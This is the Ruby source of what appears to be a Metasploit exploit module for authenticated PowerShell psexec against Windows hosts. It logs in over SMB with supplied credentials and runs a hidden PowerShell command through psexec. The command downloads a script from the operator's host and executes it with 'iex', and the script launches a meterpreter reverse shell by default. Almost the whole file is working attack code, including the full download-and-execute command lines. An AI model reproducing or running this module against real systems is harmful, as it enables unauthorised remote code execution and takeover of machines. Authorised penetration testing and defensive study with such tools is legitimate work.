metasploit-gs/modules/exploits/windows/powershell/powershell_psexec.rb

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ManualRanking

	include Msf::Exploit::Remote::DCERPC
	include Msf::Exploit::Remote::SMB::Psexec
	include Msf::Exploit::Remote::SMB::Authenticated
	include Msf::Exploit::EXE
	include Msf::Exploit::Remote::HttpServer


	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft Authenticated User Powershell PSEXEC',
			'Description'    => %q{
					This module uses a valid windows user account to pull a meterpreter payload via psexec (thanks to hdm and r3dy) and powershell. It then
					executes it within a powershell process. This module uses a slightly modified technique that was first detailed by
					@obscuresec using Powersploit. A custom payload option is avaliable via the LPATH variable.
			},
			'Author'         =>
				[
					'Andrew Smith "jakx" <jakx.ppr@gmail.com>',
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$$',
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'WfsDelay'     => 15,
					'EXITFUNC' => 'process',
					'Payload' => 'windows/meterpreter/reverse_tcp'
				},
			'References'     =>
				[
					[ 'URL', 'http://obscuresecurity.blogspot.com/2013/03/powersploit-metasploit-shells.html' ],
					[ 'URL', 'https://github.com/mattifestation/PowerSploit' ]
				],
			'Payload'        =>
				{
					'Space'        => 2048,
					'DisableNops'  => true,
					'StackAdjustment' => -3500
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ],
				],
			'DefaultTarget'  => 0,
		))

		register_options(
			[
				OptString.new('SHARE',     [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ]),
				OptString.new('LHOST',     [ true, "Host serving meterpreter payload", '' ]),
				OptString.new('ARCH',     [ true, "Architecture of target host (x64 or x86)", 'x64' ]),
				OptString.new('LPATH',     [ false, "Set this variable to the path of a local file if you want to specify a custom payload, such as powersploit", "" ])
			], self.class )

	end

	def peer

		return "#{rhost}:#{rport}"

	end

	def exploit
		start_service(
				{'Uri' => {
				'Proc' => Proc.new { |cli, req|
				on_request_uri(cli, req)
				},
				'Path' => resource_uri
			}})


		print_status("Connecting to the server...")
		connect()

		#Authenticate to target machine
		print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...")
		smb_login()

		if (not simple.client.auth_user)
			print_line(" ")
			print_error(
				"FAILED! The remote host has only provided us with Guest privileges. " +
				"Please make sure that the correct username and password have been provided. " +
				"Windows XP systems that are not part of a domain will only provide Guest privileges " +
				"to network logins by default."
			)
			print_line(" ")
			disconnect
			return
		end

		resource=get_resource[1..-1]
		payload="#{resource}"

		#Determine if LPATH or MSF payload needs to be used
		if (datastore['LPATH'] == "")
			print_status("No custom payload specified, using metasploit payload")
		elsif File.exists?("#{datastore['LPATH']}")
			print_status("Good, your custom payload exists, using #{datastore['LPATH']}")
		else
			print_error("Specified file #{datastore['LPATH']} does not exist...exiting...")
			return
		end

		#Define x64 and x32 specific commands
		print_status("Pulling payload from #{datastore['LHOST']} and executing..")
		
		cmd="cmd.exe /c powershell.exe start-process powershell.exe -Argument '-windowstyle hidden -noexit -NoProfile -ExecutionPolicy unrestricted " <<
			"-command \"iex ((new-object net.webclient).DownloadString(''http://#{datastore['LHOST']}:#{datastore['SRVPORT']}/#{payload}''))\"'"
		
		cmd64="cmd.exe /c powershell.exe start-process \"$env:WINDIR\\syswow64\\windowspowershell\\v1.0\\powershell.exe\" " <<
			"-Argument '-windowstyle hidden -noexit -NoProfile -ExecutionPolicy unrestricted " <<
			"-command \"iex ((new-object net.webclient).DownloadString(''http://#{datastore['LHOST']}:#{datastore['SRVPORT']}/#{payload}''))\"'"

		begin
			if (datastore['ARCH'] == "x86")
				result=psexec(cmd)
			elsif (datastore['ARCH'] == "x64")
				result2=psexec(cmd64)
			else
				print_error("You did not specify a valid target machine architecture!")
				return
			end

			if (result)
				print_status("x86 architecture command sent. Waiting for session...")
			end
			if (result2)
				print_status("x64 architecture command sent. Waiting for session...")
			end
		rescue Rex::Proto::SMB::Exceptions::Error => exec_error
			print_error("#{peer} - Unable to execute command: #{exec_error}")
			return
		end

		#Give time for payload to execute
		select(nil, nil, nil, 25)

		handler
		disconnect
	end

	def on_request_uri(cli, request)
			print_status("handling request for #{request.uri}")
			if (datastore['LPATH'] != "")
				script = File.read("#{datastore['LPATH']}")
			else
				script = Msf::Util::EXE.to_win32pe_psh(framework,payload.encoded)
			end
			send_response(cli, script, { 'Content-Type' => 'text/plain' })
	end
end